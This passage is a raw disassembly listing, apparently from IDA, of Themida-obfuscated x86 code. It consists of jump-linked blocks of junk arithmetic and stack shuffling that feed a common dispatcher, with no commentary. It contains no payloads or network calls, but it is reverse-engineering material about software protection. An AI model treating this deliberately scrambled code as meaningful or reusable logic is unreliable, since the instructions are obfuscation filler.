28h add bl, 22h mov cx, word ptr [esp-10h+arg_C] push eax mov eax, esp add eax, 4 jmp loc_595108 ; --------------------------------------------------------------------------- loc_5960AC: ; CODE XREF: sub_59196D-65E8j mov [esp+4+var_4], ecx jmp loc_590E98 ; --------------------------------------------------------------------------- loc_5960B4: ; CODE XREF: sub_59196D-411Fj add esi, edi jmp loc_590E76 ; --------------------------------------------------------------------------- loc_5960BB: ; CODE XREF: sub_59196D+5504j push eax xor dword ptr [esp+0], 565E465Fh pop edi xor edi, 565E465Fh pop eax add eax, 63A77FAh add eax, edi sub eax, 63A77FAh pop edi xchg eax, [esp+3Ah+var_3C+2] pop esp push [esp+36h+var_36] pop eax push esi push esp jmp loc_58D129 ; --------------------------------------------------------------------------- loc_5960E7: ; CODE XREF: sub_59196D-F2Bj sub eax, 6EA65FD1h jmp loc_58DD23 ; --------------------------------------------------------------------------- loc_5960F1: ; CODE XREF: sub_590B8E+7j add ebp, 4 sub ebp, 4 xchg ebp, [esp+6+var_8+2] pop esp mov [esp+2+var_4+2], eax jmp loc_58BC8E ; --------------------------------------------------------------------------- loc_596106: ; CODE XREF: sub_59196D+45B7j add esp, 4 jmp loc_58B37B ; --------------------------------------------------------------------------- lodsb push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+12h+var_12] pop esp mov [esp], edx mov dl, 55h xor dl, 24h push bx jmp loc_594F55 ; --------------------------------------------------------------------------- loc_596131: ; DATA XREF: Themida_:0058B190o push [esp+10h+var_12+2] mov ecx, [esp+14h+var_16+2] push ebp push esp pop ebp add ebp, 4 add ebp, 4 push ebp jmp loc_592BC4 ; --------------------------------------------------------------------------- loc_596149: ; CODE XREF: sub_59196D+252Bj push ebx push 15045679h jmp loc_58DC9C ; --------------------------------------------------------------------------- loc_596154: ; CODE XREF: sub_59196D-38D0j sub edx, 788629F5h jmp loc_58D193 ; --------------------------------------------------------------------------- loc_59615F: ; CODE XREF: sub_59196D+C3j xchg esi, [esp+1Eh+var_1E] mov esp, [esp+1Eh+var_1E] jmp loc_5968FF ; --------------------------------------------------------------------------- loc_59616A: ; CODE XREF: sub_59196D+6Aj xor word ptr [esp+2Ah+var_2A], si jmp loc_59692A ; --------------------------------------------------------------------------- loc_596173: ; CODE XREF: sub_59196D-4C33j sub ebp, 54DC5F85h sub eax, ebp pop ebp or [edi+1Ch], eax push [esp+3Ah+var_3C+2] pop eax jmp loc_591436 ; --------------------------------------------------------------------------- loc_596188: ; CODE XREF: sub_59196D-3D2Aj ; sub_59196D+3589j mov word ptr [esp+1Ch+var_1E+2], bx mov bl, 6Bh jmp loc_5972FF ; --------------------------------------------------------------------------- loc_596193: ; CODE XREF: sub_59196D-2739j mov eax, [esp+10h+var_12+2] push 77D0h mov [esp+14h+var_16+2], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+14h+var_16+2] pop esp push edx mov edx, esp add edx, 4 jmp loc_59826D ; --------------------------------------------------------------------------- loc_5961BB: ; CODE XREF: sub_59196D+256Cj xor bh, 0C8h mov dh, bh pop ebx shr dh, 3 not dh jmp loc_592FCC ; --------------------------------------------------------------------------- loc_5961CB: ; CODE XREF: sub_59196D+5371j xor cl, 2Ah jmp loc_59539F ; --------------------------------------------------------------------------- loc_5961D3: ; CODE XREF: sub_59196D-227Aj ; sub_59196D+3343j mov esi, edx pop edx pop eax push ecx push edi mov edi, 21F958F5h and edi, 454D5731h dec edi or edi, 494734F2h not edi sub edi, 3FA01FC1h jmp loc_59219C ; --------------------------------------------------------------------------- loc_5961F8: ; CODE XREF: sub_59196D:loc_5948BCj sub esi, 0CD37C5Dh jge loc_596495 jmp loc_5957FE ; --------------------------------------------------------------------------- mov [esp+18h+var_1A+2], ebx mov ebx, esp or al, 0FDh mov cl, 0B7h loc_596212: ; CODE XREF: sub_59196D-5664j ; sub_59196D+398Dj add edx, 3E4112A9h jmp loc_58E630 ; --------------------------------------------------------------------------- loc_59621D: ; CODE XREF: sub_59196D+6j push esp jmp loc_598401 ; --------------------------------------------------------------------------- loc_596223: ; CODE XREF: sub_59196D+5000j pop esp push esi mov esi, esp push ebp jmp loc_5977EE ; --------------------------------------------------------------------------- loc_59622D: ; CODE XREF: sub_59196D-3828j ; sub_59196D+31B8j shl bl, 7 js loc_590081 xor bl, 0CDh mov cl, bl pop ebx jmp loc_591FB9 ; --------------------------------------------------------------------------- loc_596241: ; DATA XREF: Themida_:0058B1E0o push dword ptr [edi+38h] push [esp+14h+var_16+2] push [esp+18h+var_1A+2] pop ecx sub esp, 4 mov [esp+1Ch+var_1E+2], ebx push esp pop ebx push edx mov edx, 776329F1h not edx shr edx, 6 or edx, 2C475047h jmp loc_594D8A ; --------------------------------------------------------------------------- loc_59626C: ; CODE XREF: sub_59196D+5478j neg eax jmp loc_596C06 ; --------------------------------------------------------------------------- loc_596273: ; CODE XREF: sub_59196D-2206j push ebx mov ebx, esp add ebx, 4 jmp loc_596BB9 ; --------------------------------------------------------------------------- loc_596281: ; CODE XREF: sub_59196D+55D3j mov esi, 644B17B2h and ebx, esi pop esi shr ebx, 4 sub ebx, 27ED37B1h neg ebx push edx mov edx, 1D129395h xor ebx, edx pop edx add eax, ebx pop ebx sub eax, 101FBD89h add ebp, eax mov eax, [esp+18h+var_1A+2] add esp, 4 add ebp, 4 xchg ebp, [esp+14h+var_16+2] jmp loc_593B4D ; --------------------------------------------------------------------------- loc_5962B8: ; DATA XREF: Themida_:0058B1F8o push [esp+14h+var_16+2] push [esp+18h+var_1A+2] pop edx push ecx mov ecx, esp push ebx push ebp mov ebp, 4 push esi jmp loc_590473 ; --------------------------------------------------------------------------- loc_5962CF: ; CODE XREF: sub_59196D+2306j push ebp mov ebp, 7B9C1F43h and ebp, 3D753759h not ebp sub ebp, 0C6EBE8BAh add ecx, ebp mov ebp, [esp+1Ch+var_1E+2] add esp, 4 push esi jmp sub_58B60E ; --------------------------------------------------------------------------- loc_5962F4: ; CODE XREF: sub_59196D+D46j dec eax jns loc_592CDF xor eax, 0BB938F45h jmp sub_58C3EF ; --------------------------------------------------------------------------- loc_596305: ; CODE XREF: sub_59196D:loc_5933B1j push ebp mov ebp, 0C83404Eh sub esi, ebp pop ebp add eax, esi mov esi, [esp+18h+var_1A+2] jmp loc_594504 ; --------------------------------------------------------------------------- loc_596318: ; CODE XREF: sub_59196D+1CB7j ; sub_59196D+584Cj push eax mov eax, esp jmp loc_590FBF ; --------------------------------------------------------------------------- loc_596320: ; CODE XREF: sub_59196D+8D0j push edi mov edi, 691E5E55h and edi, 2A981C44h sub edi, 49BD296Dh push ecx mov ecx, 7D3030B4h xor ecx, 36ED0BD3h xchg ebx, ecx not ebx xchg ebx, ecx jmp loc_592525 ; --------------------------------------------------------------------------- loc_596349: ; DATA XREF: Themida_:0058B0E8o mov eax, [esp+0] push 0BF3h mov [esp+3Ch+var_3C], eax sub esp, 4 mov [esp+40h+var_40], esp add [esp+40h+var_40], 4 jmp loc_58F0C5 ; --------------------------------------------------------------------------- loc_596366: ; CODE XREF: sub_59196D+1A64j push edi mov edi, 5F9E3EA6h mov ecx, 5F9E3EAAh sub ecx, edi pop edi push ecx mov ecx, 7B926125h jmp loc_58E001 ; --------------------------------------------------------------------------- loc_59637F: ; CODE XREF: sub_59196D+2B5Cj add ebx, 32CC4715h sub ebx, ecx sub ebx, 32CC4715h mov ecx, [esp+18h+var_1A+2] add esp, 4 sub ebx, eax push 24EAh mov [esp+18h+var_1A+2], eax push 23A16EADh pop eax sub ebx, 64841B89h sub ebx, 2D227159h add ebx, 381702B7h jmp loc_598464 ; --------------------------------------------------------------------------- loc_5963BD: ; CODE XREF: sub_5914EB+17j mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_591864 ; --------------------------------------------------------------------------- loc_5963CD: ; CODE XREF: sub_59196D+58F6j add esp, 4 push 5183h mov [esp+18h+var_1A+2], ecx push ebp mov ebp, 180526BAh jmp loc_58BF25 ; --------------------------------------------------------------------------- loc_5963E6: ; CODE XREF: sub_59196D-59F2j push eax mov eax, esp push edi jmp loc_58BBA2 ; --------------------------------------------------------------------------- loc_5963EF: ; CODE XREF: sub_59196D-1F8Aj shr edx, 3 jnp loc_59094A jmp loc_5967BD ; --------------------------------------------------------------------------- sub edx, 41AE7914h sub al, 90h loc_596405: ; CODE XREF: sub_59196D-405Fj mov [esp+3Ah+var_3C+2], edx mov edx, esp push esi mov esi, 4 add edx, esi push [esp+3Eh+var_40+2] pop esi add esp, 4 add edx, 4 push edx push [esp+3Eh+var_3C+2] pop edx pop [esp+3Eh+var_40+2] pop esp add esp, 4 sub [esp+32h+var_32], eax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_596435: ; CODE XREF: sub_59196D+1045j pop ebx add esp, 4 add ebx, 4 add ebx, 2 xor ebx, [esp+4+var_4] xor [esp+4+var_4], ebx xor ebx, [esp+4+var_4] jmp loc_592F9F ; --------------------------------------------------------------------------- loc_596453: ; CODE XREF: sub_59196D:loc_58E13Aj and eax, 76A53A15h jb loc_58E9EE jmp loc_594631 ; --------------------------------------------------------------------------- loc_596463: ; CODE XREF: sub_59196D+6BE7j sub ecx, 46F73CD7h add ecx, ebp add ecx, 46F73CD7h mov ebp, [esp+14h+var_16+2] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_596524 ; --------------------------------------------------------------------------- loc_596488: ; CODE XREF: sub_59196D+88Aj add eax, 1FF2BAFh pop ebp xor ebx, eax jmp loc_58E96F ; --------------------------------------------------------------------------- loc_596495: ; CODE XREF: sub_59196D:loc_592455j ; sub_59196D+4891j jmp loc_59718D ; --------------------------------------------------------------------------- loc_59649A: ; CODE XREF: sub_59196D+2B9Cj mov [esp-8+arg_4], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-8+arg_4] pop esp xchg eax, [esp-0Ch+arg_8] pop esp add byte ptr [esp-10h+arg_C], al pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5964BC: ; CODE XREF: sub_59196D+3E9Ej jns loc_595523 xor ebp, 85FC28D4h sub eax, 7141590Eh sub eax, ebp push edi jmp loc_591E1F ; --------------------------------------------------------------------------- loc_5964D5: ; CODE XREF: sub_59196D+26F7j xor ebp, 7659B0C8h sub [edi+24h], ebp pop ebp loc_5964DF: ; CODE XREF: sub_59196D+1DF3j push 4494h mov [esp+18h+var_1A+2], esi push ebx jmp loc_590907 ; --------------------------------------------------------------------------- loc_5964ED: ; CODE XREF: sub_59196D-447Ej mov ebp, eax jmp loc_595DE2 ; --------------------------------------------------------------------------- loc_5964F4: ; CODE XREF: sub_59196D+3543j add ecx, edi pop edi push 2773h mov [esp], ecx push [esp+38h+var_36+2] pop ecx pop dword ptr [esp] mov esp, [esp+34h+var_36+2] jmp loc_58B37B ; --------------------------------------------------------------------------- loc_59650F: ; CODE XREF: sub_59196D-2188j push ebx mov bl, 5Eh sub al, bl jmp loc_58D6A1 ; --------------------------------------------------------------------------- loc_596519: ; CODE XREF: sub_59196D-E78j movzx eax, al push dword ptr [edi+eax*4] jmp loc_58B37B ; --------------------------------------------------------------------------- loc_596524: ; CODE XREF: sub_59196D+4B16j xchg ebx, [esp+18h+var_1A+2] pop esp add ecx, 2 jmp loc_596620 ; --------------------------------------------------------------------------- loc_596530: ; CODE XREF: sub_59196D+3D16j add esp, 4 add ecx, 4 push eax push esi push 12B80593h pop esi xor esi, 5B9314Ah mov eax, esi jmp loc_592D66 ; --------------------------------------------------------------------------- loc_59654E: ; CODE XREF: sub_59196D-63Ej mov edi, 6CA62FEh sub [esp-22h+arg_20+2], edi pop edi mov eax, [esp-26h+arg_20+2] add esp, 4 push ebx jmp loc_59724C ; --------------------------------------------------------------------------- loc_596564: ; CODE XREF: sub_59196D-3C0Fj xor ecx, 6DCF727Bh mov ebx, ecx jmp loc_593D79 ; --------------------------------------------------------------------------- loc_596571: ; CODE XREF: sub_59196D-30EAj mov [esp+8+var_8], ebx mov ebx, esp jmp loc_58CDEC ; --------------------------------------------------------------------------- loc_59657B: ; CODE XREF: sub_59196D+5884j sub esi, 0FFFFFFFFh not esi add esi, 0FFFFFFFFh push 374Ch mov [esp+0Ch+var_C], edx push eax mov eax, 384B6740h mov edx, eax mov eax, [esp+10h+var_12+2] jmp loc_59715C ; --------------------------------------------------------------------------- loc_59659B: ; CODE XREF: sub_59196D-4ED4j sub ebx, 33AA6E9Bh mov ecx, ebx jmp loc_59556B ; --------------------------------------------------------------------------- loc_5965A8: ; CODE XREF: sub_59196D-2599j push ebx push 4F9F489Fh jmp loc_58ED52 ; --------------------------------------------------------------------------- loc_5965B3: ; CODE XREF: sub_58D521+8j sub esp, 4 mov [esp+0Ah+var_C+2], ebp mov ebp, 7DB4163Fh inc ebp jmp loc_58BF91 ; --------------------------------------------------------------------------- loc_5965C7: ; CODE XREF: sub_59196D-37C6j pop edx jmp loc_58B914 ; --------------------------------------------------------------------------- loc_5965CD: ; CODE XREF: sub_59196D-3FFDj mov esp, [esp+18h+var_1A+2] and byte ptr [esp+18h+var_1A+2], al pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5965D9: ; CODE XREF: sub_59196D-463Aj push eax push ebp mov ebp, 73FE0CA0h mov eax, 6D853EE8h xor eax, ebp pop ebp jmp loc_59396C ; --------------------------------------------------------------------------- loc_5965ED: ; CODE XREF: Themida_:0058EEA0j push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+52h+var_54+2] jmp loc_58DF23 ; --------------------------------------------------------------------------- loc_596604: ; CODE XREF: sub_59196D+3423j xor edx, 62F452ABh sub edx, 42E636BFh jmp loc_5910E1 ; --------------------------------------------------------------------------- loc_596615: ; CODE XREF: sub_59196D-272Ej and ecx, 5C1D5D63h jmp loc_590007 ; --------------------------------------------------------------------------- loc_596620: ; CODE XREF: sub_59196D+4BBEj xchg ecx, [esp+14h+var_16+2] mov esp, [esp+14h+var_16+2] mov ax, word ptr [esp+14h+var_16+2] push edi push 353Dh mov [esp+1Ch+var_1E+2], esp add [esp+1Ch+var_1E+2], 4 jmp loc_58FA61 ; --------------------------------------------------------------------------- loc_59663C: ; CODE XREF: sub_59196D-4F07j pop ecx push 3EFCh jmp loc_58C4D1 ; --------------------------------------------------------------------------- loc_596647: ; CODE XREF: sub_59196D-8FBj pop ecx add al, 2Ah add al, bl push ecx mov cl, 0E4h xor cl, 0CEh jmp loc_58D38C ; --------------------------------------------------------------------------- loc_596657: ; CODE XREF: Themida_:0058B716j push ebx mov ebx, 41FC5928h jmp loc_595B90 ; --------------------------------------------------------------------------- loc_596662: ; CODE XREF: sub_59196D+601Ej sub esp, 4 jmp loc_593676 ; --------------------------------------------------------------------------- loc_59666D: ; CODE XREF: sub_59196D-13F2j mov dh, 0Ch or bh, dh pop edx dec bh jmp loc_590384 ; --------------------------------------------------------------------------- loc_596679: ; CODE XREF: sub_59196D-5E18j add ebx, eax push 7583h mov [esp+20h+var_22+2], ebp push ebx jmp loc_591D40 ; --------------------------------------------------------------------------- loc_596689: ; CODE XREF: sub_59196D+4DC5j mov edi, 626C5D58h jmp loc_58E5E2 ; --------------------------------------------------------------------------- loc_596693: ; CODE XREF: sub_5902D0+10j push ecx jmp loc_58F000 ; --------------------------------------------------------------------------- loc_596699: ; CODE XREF: sub_59196D-5A7Ej mov edi, esi mov esi, [esp+14h+var_16+2] jmp loc_58E2B7 ; --------------------------------------------------------------------------- loc_5966A3: ; CODE XREF: sub_59196D-2A80j pop ebx xor edi, [esp+32h+var_32] xor [esp+32h+var_32], edi xor edi, [esp+32h+var_32] mov esp, [esp+32h+var_32] mov word ptr [esp+32h+var_32], dx push ax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5966BC: ; CODE XREF: sub_59196D+F9Fj mov [esp+36h+var_36], edx push eax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5966C6: ; CODE XREF: sub_59196D-D92j push ecx mov ch, 0F8h mov dh, ch pop ecx add dh, cl mov ecx, [esp+1Ch+var_1E+2] add esp, 4 inc dh dec dh jmp loc_58CAAB ; --------------------------------------------------------------------------- loc_5966E0: ; CODE XREF: sub_59196D-225Aj add esp, 4 shr ebx, 5 inc ebx shr ebx, 5 and ebx, 628C6B4Dh sub ebx, 9039CFE7h add edx, ebx pop ebx jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5966FE: ; CODE XREF: sub_59196D+87Ej xchg eax, edx jmp loc_590499 ; --------------------------------------------------------------------------- dword_596704 dd 62B753ACh, 80E1B551h, 0B35306C5h, 38F380B5h, 285BDD00h ; DATA XREF: Themida_:0058B0B8o dd 8AE959E8h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59671F: ; CODE XREF: sub_59196D+233Aj xchg eax, [esp+24h+var_26+2] mov esp, [esp+24h+var_26+2] mul ecx push 75CDh mov [esp+28h+var_2A+2], ebx push esp pop ebx push edi jmp loc_596689 ; --------------------------------------------------------------------------- loc_596737: ; CODE XREF: sub_59196D-26B0j push esi mov esi, esp push edi mov edi, 619C4806h and edi, 238E31ACh sub edi, 35019B2h or edi, 43D9543Ah dec edi add edi, 0A004098Bh add esi, edi pop edi push edi mov edi, 4 add esi, edi jmp loc_59823A ; --------------------------------------------------------------------------- loc_596769: ; CODE XREF: sub_59196D-5F31j pop ebx jmp loc_593545 ; --------------------------------------------------------------------------- loc_59676F: ; CODE XREF: sub_58E3B7+9j xor edx, 306B7620h jmp loc_595CE2 ; --------------------------------------------------------------------------- loc_59677A: ; CODE XREF: sub_59196D-3E06j mov [esp+30h+var_32+2], ebx push edi mov edi, 1D722FC6h jmp loc_593555 ; --------------------------------------------------------------------------- loc_596788: ; CODE XREF: sub_59196D-36CDj mov esi, 1AFD6E41h add edx, esi pop esi push ebp mov ebp, 43CA131Ch xor edx, ebp jmp loc_597AAC ; --------------------------------------------------------------------------- loc_59679D: ; CODE XREF: sub_59196D+3204j and esi, ebx pop ebx jmp loc_596A2E ; --------------------------------------------------------------------------- loc_5967A5: ; CODE XREF: sub_59196D-346Fj add bl, dl jmp loc_593986 ; --------------------------------------------------------------------------- loc_5967AC: ; CODE XREF: sub_59196D-411j xor ebx, ebp pop ebp add ecx, ebx pop ebx add ecx, 2 jmp loc_596942 ; --------------------------------------------------------------------------- loc_5967BD: ; CODE XREF: Themida_:0058F9DDj ; sub_59196D+4A8Bj mov eax, esp add eax, 4 sub esp, 4 mov [esp+0], ebx mov ebx, 4 jmp loc_58B3C0 ; --------------------------------------------------------------------------- loc_5967D4: ; CODE XREF: sub_59196D-5671j sub cl, bl mov ebx, [esp+18h+var_1A+2] add esp, 4 push ebx mov bh, 6Fh add bh, 7Eh and bh, 0D2h jmp loc_5947D1 ; --------------------------------------------------------------------------- loc_5967EA: ; CODE XREF: sub_59196D+3B91j push [esp+20h+var_1E+2] push [esp+24h+var_26+2] pop edx add esp, 4 pop [esp+20h+var_22+2] pop esp mov [esp+18h+var_1A+2], edx mov edx, 18072CB9h mov esi, edx pop edx jmp loc_59701B ; --------------------------------------------------------------------------- loc_596809: ; CODE XREF: sub_59196D-367Aj add eax, ecx pop ecx add eax, 2 jmp loc_59516B ; --------------------------------------------------------------------------- loc_596814: ; CODE XREF: sub_59196D-560j mov edx, 10914807h add edx, 70F83CE4h jmp loc_594B3B ; --------------------------------------------------------------------------- loc_596824: ; CODE XREF: sub_59196D-3DF9j push eax jmp loc_5971BE ; --------------------------------------------------------------------------- loc_59682A: ; CODE XREF: sub_59196D:loc_597188j not ebx neg ebx jbe loc_58FB72 xor ebx, 8F73D8A5h add eax, ebx pop ebx xchg eax, [esp+34h+var_36+2] loc_596840: ; CODE XREF: sub_59196D-313Fj sub esi, 4 jmp loc_594069 ; --------------------------------------------------------------------------- loc_596848: ; CODE XREF: Themida_:0058EDD0j push edx jmp loc_591E45 ; --------------------------------------------------------------------------- loc_59684E: ; CODE XREF: sub_59196D-397Dj push [esp+2Eh+var_2E] pop ecx add esp, 4 shr eax, 0Eh xor eax, ecx sub esp, 4 mov [esp+2Eh+var_2E], eax push edi push [esp+32h+var_2E] pop edi pop [esp+32h+var_32] push 1E2Dh jmp loc_58C58A ; --------------------------------------------------------------------------- loc_596876: ; CODE XREF: sub_59196D-2EAj add esi, edi jmp loc_58B490 ; --------------------------------------------------------------------------- loc_59687D: ; CODE XREF: sub_59196D+50CFj xchg edx, [esp+0] pop esp mov [esp+34h+var_36+2], edx mov edx, esp push eax mov eax, 4 add edx, eax pop eax add edx, 4 xchg edx, [esp+34h+var_36+2] mov esp, [esp+34h+var_36+2] shl eax, cl push 394Ch mov [esp+0], edi push ebp mov ebp, 655947ABh sub ebp, 655947AAh jmp loc_591797 ; --------------------------------------------------------------------------- loc_5968B3: ; CODE XREF: Themida_:0059149Cj add ebp, 25CD069Ah xor ebp, 0B590ECACh add esi, ebp pop ebp add esi, edi jmp loc_58DA68 ; --------------------------------------------------------------------------- loc_5968C9: ; CODE XREF: sub_59196D+2EBEj xor ebx, eax sub esp, 4 mov [esp+24h+var_26+2], eax jmp loc_58B5CA ; --------------------------------------------------------------------------- loc_5968D6: ; CODE XREF: sub_59196D+E4Dj dec ah jo loc_596BF6 push edx mov dh, 76h sub dh, 24h xor dh, 6Dh add ah, dh pop edx mov bl, 15h xor bl, ah mov eax, [esp+0] add esp, 4 add al, bl pop bx sub al, 6Bh jmp loc_59180E ; --------------------------------------------------------------------------- loc_5968FF: ; CODE XREF: sub_59196D+47F8j bts word ptr [esp+1Eh+var_1E], ax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_59690A: ; CODE XREF: sub_59196D+1FB9j shr edx, 1 cmp eax, edx jz loc_58F587 push eax mov eax, 20h push esi mov esi, 7BD620AFh sub eax, esi pop esi add eax, edi jmp loc_59083B ; --------------------------------------------------------------------------- loc_59692A: ; CODE XREF: sub_59196D+4801j xor si, word ptr [esp+2Ah+var_2A] xor word ptr [esp+2Ah+var_2A], si jmp loc_58B37B ; --------------------------------------------------------------------------- loc_596937: ; CODE XREF: sub_59196D-3A5Fj add esi, ecx pop ecx xor esi, [esp+34h+var_36+2] jmp loc_59371A ; --------------------------------------------------------------------------- loc_596942: ; CODE XREF: sub_59196D+4E4Bj xchg ecx, [esp+18h+var_1A+2] pop esp rol byte ptr [esp+14h+var_16+2], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_59694F: ; CODE XREF: sub_59196D-4864j push edi mov edi, esp sub esp, 4 mov [esp+10h+var_12+2], esi mov esi, 4 jmp loc_59062A ; --------------------------------------------------------------------------- loc_596962: ; CODE XREF: sub_59196D+2E9Cj mov edi, 4 add ecx, edi pop edi xchg ecx, [esp+0Ah+var_C+2] jmp loc_596223 ; --------------------------------------------------------------------------- loc_596972: ; CODE XREF: sub_59196D-403Ej ; sub_59196D+6261j push [esp+1Ch+var_1E+2] mov ecx, [esp+20h+var_22+2] add esp, 4 push eax mov eax, esp jmp loc_591786 ; --------------------------------------------------------------------------- loc_596986: ; CODE XREF: sub_59196D+3AA3j ; sub_59196D+5C94j and edi, edx jmp loc_58E90A ; --------------------------------------------------------------------------- loc_59698D: ; CODE XREF: sub_59196D-47DFj mov dh, 3Eh jmp loc_58ECE0 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp+10h+var_12+2], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5969A3: ; CODE XREF: sub_59196D-24D2j add edx, 0DC43A7Dh jmp loc_58C3FA ; --------------------------------------------------------------------------- loc_5969AE: ; CODE XREF: sub_59196D+55C8j add esp, 4 mov eax, edi jmp loc_5935CF ; --------------------------------------------------------------------------- loc_5969BB: ; CODE XREF: sub_59196D-1CD8j pop esp mov [esp+8+var_8], edi mov edi, esp add edi, 4 jmp loc_58E3F2 ; --------------------------------------------------------------------------- loc_5969CC: ; CODE XREF: sub_59196D+2D74j pop ebp xor ecx, [esp+0] xor [esp+0], ecx xor ecx, [esp+0] mov esp, [esp+0] sub esp, 4 mov [esp+4+var_4], edx jmp loc_592547 ; --------------------------------------------------------------------------- loc_5969E4: ; CODE XREF: sub_59196D-265Bj pop esp jmp loc_58D503 ; --------------------------------------------------------------------------- loc_5969EA: ; CODE XREF: sub_59196D-3069j ; sub_59196D+5898j push edx push [esp+22h+var_1E] mov edx, [esp+26h+var_26] push edi mov edi, esp jmp loc_58E0CA ; --------------------------------------------------------------------------- loc_5969FA: ; CODE XREF: sub_59196D+69E6j sub word ptr [esp+2Ah+var_2A], ax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_596A04: ; CODE XREF: Themida_:0058FF20j sub esp, 4 mov [esp+32h+var_32], esp add [esp+32h+var_32], 4 mov eax, [esp+32h+var_32] add esp, 4 push ecx mov ecx, 7B5350h sub esp, 4 jmp loc_58D880 ; --------------------------------------------------------------------------- loc_596A2E: ; CODE XREF: sub_59196D+4E33j sub esi, 0B5E1F8B6h jmp loc_59720A ; --------------------------------------------------------------------------- loc_596A39: ; CODE XREF: sub_59196D-643Cj sub edx, 4 jmp loc_59687D ; --------------------------------------------------------------------------- loc_596A41: ; CODE XREF: sub_59196D-AFCj ; sub_59196D+22ABj mov [esp+12h+var_12], edx mov edx, 0B14AF15Dh mov eax, edx pop edx add eax, ecx jmp loc_58E567 ; --------------------------------------------------------------------------- loc_596A53: ; CODE XREF: sub_59196D-2094j push ebx push 5B451FAEh pop ebx and ebx, 3B781E3Dh ja loc_58F666 xor ebx, 1B401E2Eh mov eax, ebx pop ebx or dl, 0C3h pop esi loc_596A73: ; CODE XREF: sub_59196D-3D9Dj push [esp-0Ah+arg_4+2] push [esp-6+arg_0+2] mov eax, [esp+0] push eax mov eax, esp jmp loc_58D373 ; --------------------------------------------------------------------------- loc_596A84: ; CODE XREF: sub_59196D+678Bj pop ebp jmp loc_58DF8C ; --------------------------------------------------------------------------- loc_596A8A: ; CODE XREF: sub_59196D+6ACBj mov [esp+0], edi mov edi, 4 add ebp, edi push dword ptr [esp+0] jmp loc_592A3A ; --------------------------------------------------------------------------- loc_596A9C: ; CODE XREF: sub_59196D+37DFj shl ebx, 5 jnz loc_58C325 inc ebx and ebx, 3D095FB5h add ebx, 0CBF7B1E3h loc_596AB2: ; CODE XREF: sub_59196D+66E5j push [esp+1Ch+var_1A+2] mov eax, [esp+20h+var_22+2] jmp sub_590BE0 ; --------------------------------------------------------------------------- loc_596ABE: ; CODE XREF: sub_59196D-3080j sub esp, 4 mov [esp+14h+var_16+2], ebp jmp loc_592AC9 ; --------------------------------------------------------------------------- loc_596ACC: ; CODE XREF: sub_59196D-1287j pop ecx push ecx mov ecx, ebx mov edi, ecx pop ecx pop ebx push eax mov eax, 46173E99h jmp loc_598117 ; --------------------------------------------------------------------------- loc_596ADF: ; CODE XREF: sub_59196D-2D74j push ebp jmp loc_592959 ; --------------------------------------------------------------------------- loc_596AE5: ; CODE XREF: sub_59196D-502Bj push [esp+3Eh+var_40+2] jmp loc_58EFF0 ; --------------------------------------------------------------------------- loc_596AED: ; CODE XREF: sub_59196D-4C3j xor esi, 3D825892h add ebx, 585F0482h add ebx, esi sub ebx, 585F0482h mov esi, [esp+0Ah+var_C+2] jmp loc_598142 ; --------------------------------------------------------------------------- loc_596B09: ; CODE XREF: Themida_:0058E23Aj push eax mov eax, esp add eax, 4 push esi mov esi, 4 sub eax, esi jmp loc_593483 ; --------------------------------------------------------------------------- loc_596B1E: ; CODE XREF: sub_59196D-5C75j push [esp+28h+var_2A+2] mov edx, [esp+2Ch+var_2E+2] add esp, 4 push 6B34h mov [esp+2Ch+var_2E+2], ebx push esp pop ebx jmp loc_594DBA ; --------------------------------------------------------------------------- loc_596B39: ; CODE XREF: sub_59196D-2450j pop ebp xchg ebp, esi add esi, 353A0457h jl loc_59247C inc esi jge loc_590B7B add esi, 305D676Ch add esi, 0E0C9FDD5h pop edi loc_596B5C: ; CODE XREF: sub_59196D+56F3j push ecx mov ecx, 0CCE1144h and edi, ecx pop ecx shr edi, 8 sub edi, 0BD808D53h and esi, edi pop edi dec esi inc esi jmp loc_593898 ; --------------------------------------------------------------------------- loc_596B78: ; CODE XREF: sub_59196D+6551j mov cl, 4Fh xor cl, 69h mov bl, cl pop ecx add bl, 76h xor dh, bl pop ebx add bh, dh mov edx, [esp+0] add esp, 4 add al, bh mov ebx, [esp-4+arg_0] push edi mov edi, esp jmp loc_593AEC ; --------------------------------------------------------------------------- loc_596B9B: ; CODE XREF: sub_59196D-439Fj push ebx mov ebx, 2F5A12BCh jmp loc_595D79 ; --------------------------------------------------------------------------- loc_596BA6: ; CODE XREF: sub_59196D-60B4j push 65402A68h pop esi jmp loc_5980E4 ; --------------------------------------------------------------------------- loc_596BB1: ; CODE XREF: sub_59196D-187Ej pop edx add ebx, edi jmp loc_58E70B ; --------------------------------------------------------------------------- loc_596BB9: ; CODE XREF: sub_59196D+490Fj sub ebx, 4 xchg ebx, [esp+20h+var_22+2] pop esp mov [esp+1Ch+var_1E+2], edi mov edi, 0D5C1AA3h add edi, 61EA116Ah sub edx, edi pop edi not edx jmp loc_5980F0 ; --------------------------------------------------------------------------- loc_596BDB: ; CODE XREF: sub_59196D+32A0j and bl, 65h sub bl, 2Fh add bl, 2Ch xor bl, 0B7h jmp loc_58E809 ; --------------------------------------------------------------------------- loc_596BEC: ; CODE XREF: sub_59196D-5FE3j mov ebx, 0 jmp loc_592BB9 ; --------------------------------------------------------------------------- loc_596BF6: ; CODE XREF: sub_59196D+4F6Bj push edx mov dh, 76h sub dh, 24h xor dh, 6Dh add ah, dh jmp loc_594D95 ; --------------------------------------------------------------------------- loc_596C06: ; CODE XREF: sub_59196D+4901j push eax not [esp+24h+var_26+2] pop eax dec eax sub eax, 4E3E43A7h jmp loc_58DD3D ; 